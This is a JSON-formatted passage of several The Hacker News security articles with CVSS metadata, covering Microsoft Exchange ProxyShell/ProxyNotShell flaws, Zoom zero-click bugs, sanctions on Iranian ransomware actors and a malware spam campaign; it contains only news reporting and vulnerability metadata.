a [custom-made assessment for ProxyNotShell](<https://cymulate.com/free-trial/>) that enable organizations to estimate exactly their degree of exposure to ProxyNotShell.\n\nA ProxyNotShell attack vector has been added to the advanced scenarios templates, and running it on your environment yields the necessary information to validate exposure \u2013 or lack thereof - to ProxyNotShell.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgOoxz7w2_H46l72-JIWEEozP6gnLHfSQt_wbm1RRkjB0NOn2rBaB0wW4-jBFx4wbMgPAmXZvOdPPwjnUFX2u8zbdJZLSXKMAoft6Skt3EXk_gH1ehXK9DLBpHKouidVH9WE9P1SQs3h-s1VAfGKtHqeXaxkjtGS4lDIItWgmQo1FSLk_6z6fV7ZtQw/s728-e100/222.png>)\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiqGWTwc-0vwEKrwSp1s7coId4IRI3KelQKVBG1iXsx0N32996O0Lprr0PA035V1oLkFpdjQ1euXlqcL0le7gsuWoWI9NSCEBW0Nj-OCQZn8ovDyuK-b-MtVYhjKmGIWuZO5IkdqNRBvKSiWttxGP46GmxjlZtpI_FSz2728WiqkvKTOoOJIp0KrjOH/s728-e100/111.png>)\n\nUntil verified patches are available from Microsoft, assessing exposure to ProxyNotShell to evaluate exactly which servers are potential targets is the most cost-efficient way to evaluate exactly which assets are exposed and devise targeted preemptive measures with maximum impact.\n\n_Note: This article is contributed by [Cymulate Research Labs](<https://cymulate.com/>)._\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-04T08:05:00", "type": "thn", "title": "ProxyNotShell \u2013 the New Proxy Hell?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-04T10:19:04", "id": "THN:54023E40C0AA4CB15793A39F3AF102AB", "href": "https://thehackernews.com/2022/10/proxynotshell-new-proxy-hell.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:40", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEi9NJx55v1dJQGnKPNjY6vt0_YmqnVRbWmMApZNSHylYpeLXE44Q66Lzw4h6mrMoXT56cKjS8oeK7wTUqWyjsf3aQmYFrtvD8fmTv6r_eFGLoJVKRAHXbsIzltLYiL9hJRDXU8AOLmd8epcgpMudx-HNzQQ749PTbqzctNDxhN0PcQVM7VZ8RMBb_XG>)\n\nAn exploration of zero-click attack surface for the popular video conferencing solution Zoom has yielded two previously undisclosed security vulnerabilities that could have been exploited to crash the service, execute malicious code, and even leak arbitrary areas of its memory.\n\nNatalie Silvanovich of Google Project Zero, who [discovered](<https://googleprojectzero.blogspot.com/2022/01/zooming-in-on-zero-click-exploits.html>) and reported the [two](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2223>) [flaws](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2235>) last year, said the issues impacted both Zoom clients and Multimedia Router (MMR) servers, which transmit audio and video content between clients in [on-premise deployments](<https://support.zoom.us/hc/en-us/articles/360034064852-Zoom-On-Premise-Deployment>).\n\nThe weaknesses have since been addressed by Zoom as part of [updates](<https://explore.zoom.us/en/trust/security/security-bulletin/>) shipped on November 24, 2021.\n\nThe goal of a zero-click attack is to stealthily gain control over the victim's device without requiring any kind of interaction from the user, such as clicking on a link.\n\nWhile the specifics of the exploit will vary depending on the nature of vulnerability being exploited, a key trait of zero-click hacks is their ability not to leave behind traces of malicious activity, making them very difficult to detect.\n\nThe two flaws identified by Project Zero are as follows \u2014\n\n * [**CVE-2021-34423**](<https://nvd.nist.gov/vuln/detail/CVE-2021-34423>) (CVSS score: 9.8) \u2013 A [buffer overflow](<https://cwe.mitre.org/data/definitions/121.html>) vulnerability that can be leveraged to crash the service or application, or execute arbitrary code.\n * [**CVE-2021-34424**](<https://nvd.nist.gov/vuln/detail/CVE-2021-34424>) (CVSS score: 7.5) \u2013 A process memory exposure flaw that could be used to potentially gain insight into arbitrary areas of the product's memory.\n\nBy analyzing the RTP (Real-time Transport Protocol) traffic used to deliver audio and video over IP networks, Silvanovich found that it's possible to manipulate the contents of a buffer that supports reading different data types by sending a malformed chat message, causing the client and the MMR server to crash.\n\nFurthermore, the lack of a [NULL](<https://en.wikipedia.org/wiki/Null_character>) check \u2014 which is used to determine the end of a string \u2014 made it possible to leak data from the memory when joining a Zoom meeting via a web browser.\n\nThe researcher also attributed the memory corruption flaw to the fact that Zoom failed to enable [ASLR](<https://en.wikipedia.org/wiki/Address_space_layout_randomization>), aka address space layout randomization, a security mechanism designed to increase the difficulty of performing buffer overflow attacks.\n\n\"The lack of ASLR in the Zoom MMR process greatly increased the risk that an attacker could compromise it,\" Silvanovich said. \"ASLR is arguably the most important mitigation in preventing exploitation of memory corruption, and most other mitigations rely on it on some level to be effective. There is no good reason for it to be disabled in the vast majority of software.\"\n\nWhile most video conferencing systems use open-source libraries such as [WebRTC](<https://en.wikipedia.org/wiki/WebRTC>) or [PJSIP](<https://www.pjsip.org/>) for implementing multimedia communications, Project Zero called out Zoom's use of proprietary formats and protocols as well as its high licensing fees (nearly $1,500) as barriers to security research.\n\n\"Closed-source software presents unique security challenges, and Zoom could do more to make their platform accessible to security researchers and others who wish to evaluate it,\" Silvanovich said. \"While the Zoom Security Team helped me access and configure server software, it is not clear that support is available to other researchers, and licensing the software was still expensive.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-20T13:18:00", "type": "thn", "title": "Google Details Two Zero-Day Bugs Reported in Zoom Clients and MMR Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34423", "CVE-2021-34424"], "modified": "2022-01-22T06:28:23", "id": "THN:23B7A3854F9B0DB3C20157A48FF47457", "href": "https://thehackernews.com/2022/01/google-details-two-zero-day-bugs.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-09-16T04:03:41", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjUqmffIx48KtQdHxTXb4TQfvElel4yvoLc_Uq-nF3atp_DnKXEvX_r4s4FR-V9kItxokvkUgH3L-QP1uH3JrII_VtRNnXYXU3EYxwsreIbOgCkHKHN4AbWxtUPY5tKaH8u6YvYBd2oA_JReHSU1gNdaKY11tzzrlCHhUSTJzZr4yGRgnN-fUCAb2Mv/s728-e100/iranian-hackers.jpg>)\n\nThe U.S. Treasury Department's Office of Foreign Assets Control (OFAC) on Wednesday announced sweeping sanctions against ten individuals and two entities backed by Iran's Islamic Revolutionary Guard Corps (IRGC) for their involvement in ransomware attacks at least since October 2020.\n\nThe agency said the cyber activity mounted by the individuals is partially attributable to intrusion sets tracked under the names APT35, Charming Kitten, Nemesis Kitten, Phosphorus, and TunnelVision.\n\n\"This group has launched extensive campaigns against organizations and officials across the globe, particularly targeting U.S. and Middle Eastern defense, diplomatic, and government personnel, as well as private industries including media, energy, business services, and telecommunications,\" the Treasury [said](<https://home.treasury.gov/news/press-releases/jy0948>).\n\nThe Nemesis Kitten actor, which is also known as [Cobalt Mirage](<https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html>), [DEV-0270](<https://thehackernews.com/2022/09/microsoft-warns-of-ransomware-attacks.html>), and [UNC2448](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>), has come under the scanner in recent months for its pattern of ransomware attacks for opportunistic revenue generation using Microsoft's built-in BitLocker tool to encrypt files on compromised devices.\n\nMicrosoft and Secureworks have characterized DEV-0270 as a subgroup of [Phosphorus](<https://thehackernews.com/2022/09/iranian-hackers-target-high-value.html>) (aka Cobalt Illusion), with ties to another actor referred to as [TunnelVision](<https://thehackernews.com/2022/02/iranian-hackers-targeting-vmware.html>). The Windows maker also assessed with low confidence that \"some of DEV-0270's ransomware attacks are a form of moonlighting for personal or company-specific revenue generation.\"\n\nWhat's more, independent analyses from the two cybersecurity firms as well as Google-owned [Mandiant](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>) has revealed the group's connections to two companies Najee Technology (which functions under the aliases Secnerd and Lifeweb) and Afkar System, both of which have been subjected to U.S. sanctions.\n\nIt's worth noting that Najee Technology and Afkar System's connections to the Iranian intelligence agency were first flagged by an anonymous anti-Iranian regime entity called [Lab Dookhtegan](<https://thehackernews.com/2021/05/researchers-uncover-iranian-state.html>) [earlier](<https://mobile.twitter.com/LabDookhtegan2/status/1520355269695442945>) this [year](<https://mobile.twitter.com/LabDookhtegan2/status/1539960629867401218>).\n\n\"The model of Iranian government intelligence functions using contractors blurs the lines between the actions tasked by the government and the actions that the private company takes on its own initiative,\" Secureworks said in a [new report](<https://www.secureworks.com/blog/opsec-mistakes-reveal-cobalt-mirage-threat-actors>) detailing the activities of Cobalt Mirage.\n\nWhile exact links between the two companies and IRGC remain unclear, the method of private Iranian firms acting as fronts or providing support for intelligence operations is well established over the years, including that of [ITSecTeam (ITSEC), Mersad](<https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged>), [Emennet Pasargad](<https://thehackernews.com/2021/11/us-charged-2-iranians-hackers-for.html>), and [Rana Intelligence Computing Company](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>).\n\nOn top of that, the Secureworks probe into a June 2022 Cobalt Mirage incident showed that a PDF file containing the ransom note was created on December 17, 2021, by an \"Ahmad Khatibi\" and timestamped at UTC+03:30 time zone, which corresponds to the Iran Standard Time. Khatibi, incidentally, happens to be the CEO and owner of the Iranian company Afkar System.\n\nAhmad Khatibi Aghda is also part of the 10 individuals sanctioned by the U.S., alongside Mansour Ahmadi, the CEO of Najee Technology, and other employees of the two enterprises who are said to be complicit in targeting various networks globally by leveraging well-known security flaws to gain initial access to further follow-on attacks.\n\nSome of the [exploited flaws](<https://www.cisa.gov/uscert/ncas/alerts/aa22-257a>), according to a [joint cybersecurity advisory](<https://www.cisa.gov/uscert/ncas/current-activity/2022/09/14/iranian-islamic-revolutionary-guard-corps-affiliated-cyber-actors>) released by Australia, Canada, the U.K., and the U.S., as part of the IRGC-affiliated actor activity are as follows -\n\n * Fortinet FortiOS path traversal vulnerability ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>))\n * Fortinet FortiOS default configuration vulnerability ([CVE-2019-5591](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * Fortinet FortiOS SSL VPN 2FA bypass vulnerability ([CVE-2020-12812](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), and\n * [Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>) (CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105)\n\n\"Khatibi is among the cyber actors who gained unauthorized access to victim networks to encrypt the network with BitLocker and demand a ransom for the decryption keys,\" the U.S. government said, in addition to adding him to the FBI's [Most Wanted list](<https://www.fbi.gov/wanted/cyber/ahmad-khatibi-aghda>).\n\n\"He leased network infrastructure used in furtherance of this malicious cyber group's activities, he participated in compromising victims' networks, and he engaged in ransom negotiations with victims.\"\n\nCoinciding with the sanctions, the Justice Department separately [indicted](<https://www.justice.gov/usao-nj/pr/three-iranian-nationals-charged-engaging-computer-intrusions-and-ransomware-style>) Ahmadi, Khatibi, and a third Iranian national named Amir Hossein Nickaein Ravari for engaging in a criminal extortion scheme to inflict damage and losses to victims located in the U.S., Israel, and Iran.\n\nAll three individuals have been charged with one count of conspiring to commit computer fraud and related activity in connection with computers; one count of intentionally damaging a protected computer; and one count of transmitting a demand in relation to damaging a protected computer. Ahmadi has also been charged with one more count of intentionally damaging a protected computer.\n\nThat's not all. The U.S. State Department has also [announced monetary rewards](<https://www.state.gov/sanctioning-iranians-for-malicious-cyber-acts/>) of up to $10 million for any information about [Mansour, Khatibi, and Nikaeen](<https://rewardsforjustice.net/index/?jsf=jet-engine:rewards-grid&tax=cyber:3266>) and their whereabouts.\n\n\"These defendants may have been hacking and extorting victims \u2013 including critical infrastructure providers \u2013 for their personal gain, but the charges reflect how criminals can flourish in the safe haven that the Government of Iran has created and is responsible for,\" Assistant Attorney General Matthew Olsen said.\n\nThe development comes close on the heels of [sanctions](<https://thehackernews.com/2022/09/us-imposes-new-sanctions-on-iran-over.html>) imposed by the U.S. against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-09-15T06:49:00", "type": "thn", "title": "U.S. Charges 3 Iranian Hackers and Sanctions Several Others Over Ransomware Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-09-16T03:17:57", "id": "THN:802C6445DD27FFC7978D22CC3182AD58", "href": "https://thehackernews.com/2022/09/us-charges-3-iranian-hackers-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjiGzDP_Q8TgakrIFP6H8c0NlSHHH4ztdEtesv8G-AaS-LvfiauO6JgcrFpPKfplpRuqYssvepWzyhQaLMIPqPzyt00vE0kNEL3qEg1k1YRQpWZouKa_km8jD-kuKbNBXugV_MhYndYW41kM6o2z77T4oOGQlDGhGk-HA0tZfdol-RO_fCE6o7N54uW>)\n\nThreat actors are exploiting ProxyLogon and ProxyShell exploits in unpatched Microsoft Exchange Servers as part of an ongoing spam campaign that leverages stolen email chains to bypass security software and deploy malware on vulnerable systems.\n\nThe findings come from Trend Micro following an investigation into a number of intrusions in the Middle East that culminated in the distribution of a never-before-seen loader dubbed SQUIRRELWAFFLE. First publicly [documented](<https://thehackernews.com/2021/10/hackers-using-squirrelwaffle-loader-to.html>) by Cisco Talos, the attacks are believed to have commenced in mid-September 2021 via laced Microsoft Office documents.\n\n\"It is known for sending its malicious emails as replies to pre-existing email chains, a tactic that lowers a victim's guard against malicious activities,\" researchers Mohamed Fahmy, Sherif Magdy, Abdelrhman Sharshar [said](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) in a report published last week. \"To be able to pull this off, we believe it involved the use of a chain of both ProxyLogon and ProxyShell exploits.\"\n\n[ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) and [ProxyShell](<https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html>) refer to a collection of flaws in Microsoft Exchange Servers that could enable a threat actor to elevate privileges and remotely execute arbitrary code, effectively granting the ability to take control of the vulnerable machines. While the ProxyLogon flaws were addressed in March, the ProxyShell bugs were patched in a series of updates released in May and July.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEhYwBTFRq5MuslNIXJAtZNZ-q9Ik0Wyu_z6HVG8loZsBaeJR_tXRLvm18OZvIJYeeOyYp0DVHZdMg8sdqe9H3ePEot8dMGuNuC25YWuyp09kuYsm_qh2nU_3dlFK7X2kVXn-DYmtklqChAj_2BOpas4TFiWcbPR3PtoX5RKukcpGn0sd1S8Ubdqo1bu>) \n--- \nDLL infection flow \n \nTrend Micro said it observed the use of public exploits for CVE-2021-26855 (ProxyLogon), CVE-2021-34473, and CVE-2021-34523 (ProxyShell) on three of the Exchange servers that were compromised in different intrusions, using the access to hijack legitimate email threads and send malicious spam messages as replies, thereby increasing the likelihood that unsuspecting recipients will open the emails.\n\n\"Delivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail getaways will not be able to filter or quarantine any of these internal emails,\" the researchers said, adding the attackers behind the operation did not carry out lateral movement or install additional malware so as to stay under the radar and avoid triggering any alerts.\n\nThe attack chain involves rogue email messages containing a link that, when clicked, drops a Microsoft Excel or Word file. Opening the document, in turn, prompts the recipient to enable macros, ultimately leading to the download and execution of the SQUIRRELWAFFLE malware loader, which acts as a medium to fetch final-stage payloads such as Cobalt Strike and Qbot.\n\nThe development marks a new escalation in phishing campaigns where a threat actor has breached corporate Microsoft Exchange email servers to gain unauthorized access to their internal mail systems and distribute malicious emails in an attempt to infect users with malware.\n\n\"SQUIRRELWAFFLE campaigns should make users wary of the different tactics used to mask malicious emails and files,\" the researchers concluded. \"Emails that come from trusted contacts may not be enough of an indicator that whatever link or file included in the email is safe.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-22T11:47:00", "type": "thn", "title": "Hackers Exploiting ProxyLogon and ProxyShell Flaws in Spam Campaigns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-23T07:33:36", "id": "THN:0D80EEB03C07D557AA62E071C7A7C619", "href": "https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-4bW5O7qDy3g/YRY939zQM4I/AAAAAAAADho/RUV3iIGj654Ml8xKhGo8MXIEWtGwsL1ywCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nThreat actors are actively carrying out opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using a new exploit chain leveraging a trio of flaws affecting on-premises installations, making them the latest set of bugs after ProxyLogon vulnerabilities were exploited en masse at the start of the year.\n\nThe remote code execution flaws have been collectively dubbed \"ProxyShell.\" At least 30,000 machines are affected by the vulnerabilities, [according](<https://isc.sans.edu/diary/27732>) to a Shodan scan performed by Jan Kopriva of SANS Internet Storm Center.\n\n\"Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\" NCC Group's Richard Warren [tweeted](<https://twitter.com/buffaloverflow/status/1425831100157349890>), noting that one of the intrusions resulted in the deployment of a \"C# aspx webshell in the /aspnet_client/ directory.\"\n\nPatched in early March 2021, [ProxyLogon](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) is the moniker for CVE-2021-26855, a server-side request forgery vulnerability in Exchange Server that permits an attacker to take control of a vulnerable server as an administrator, and which can be chained with another post-authentication arbitrary-file-write vulnerability, CVE-2021-27065, to achieve code execution.\n\nThe vulnerabilities came to light after Microsoft [spilled the beans](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) on a Beijing-sponsored hacking operation that leveraged the weaknesses to strike entities in the U.S. for purposes of exfiltrating information in what the company described as limited and targeted attacks.\n\nSince then, the Windows maker has fixed six more flaws in its mail server component, two of which are called [ProxyOracle](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/>), which enables an adversary to recover the user's password in plaintext format.\n\nThree other issues \u2014 known as ProxyShell \u2014 could be abused to bypass ACL controls, elevate privileges on Exchange PowerShell backend, effectively authenticating the attacker and allowing for remote code execution. Microsoft noted that both CVE-2021-34473 and CVE-2021-34523 were inadvertently omitted from publication until July.\n\n**ProxyLogon:**\n\n * [**CVE-2021-26855**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26857**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26858**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-27065**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n\n**ProxyOracle:**\n\n * [**CVE-2021-31195**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on May 11)\n * [**CVE-2021-31196**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on July 13)\n\n**ProxyShell:**\n\n * [**CVE-2021-31207**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability (Patched on May 11)\n * [**CVE-2021-34473**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on April 13, advisory released on July 13)\n * [**CVE-2021-34523**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on April 13, advisory released on July 13)\n\n**Other:**\n\n * [**CVE-2021-33768**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on July 13)\n\nOriginally demonstrated at the [Pwn2Own hacking competition](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) this April, technical details of the ProxyShell attack chain were disclosed by DEVCORE researcher Orange Tsai at the [Black Hat USA 2021](<https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442>) and [DEF CON](<https://www.youtube.com/watch?v=5mqid-7zp8k>) security conferences last week. To prevent exploitation attempts, organizations are highly recommended to install updates released by Microsoft.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T09:46:00", "type": "thn", "title": "Hackers Actively Searching for Unpatched Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33768", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T09:46:09", "id": "THN:FA40708E1565483D14F9A31FC019FCE1", "href": "https://thehackernews.com/2021/08/hackers-actively-searching-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhKbdRreQ0Go0a6_nNV2mIHF-M4tF8ltZLh-zKh9XlGWei6N3zGQptPV2EVnu-c2aHwmgFtWbz4Xq0tDXGz3Z1dpDgiPu7RVWIwM8bhdGXus6httFDg3Syq5PSXHPDJiYhDv0KxH-eo9jncYNJb4pG6nA_987ryEtxPoAJr1RlSMcy7wdD0dNr3L2mW>)\n\nCybersecurity agencies from Australia, the U.K., and the U.S. on Wednesday [released](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/17/iranian-government-sponsored-apt-cyber-actors-exploiting-microsoft>) a joint advisory warning of active exploitation of Fortinet and Microsoft Exchange ProxyShell vulnerabilities by Iranian state-sponsored actors to gain initial access to vulnerable systems for follow-on activities, including data exfiltration and ransomware.\n\nThe threat actor is believed to have leveraged multiple Fortinet FortiOS vulnerabilities dating back to March 2021 as well as a remote code execution flaw affecting Microsoft Exchange Servers since at least October 2021, according to the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), the Australian Cyber Security Centre (ACSC), and the U.K.'s National Cyber Security Centre 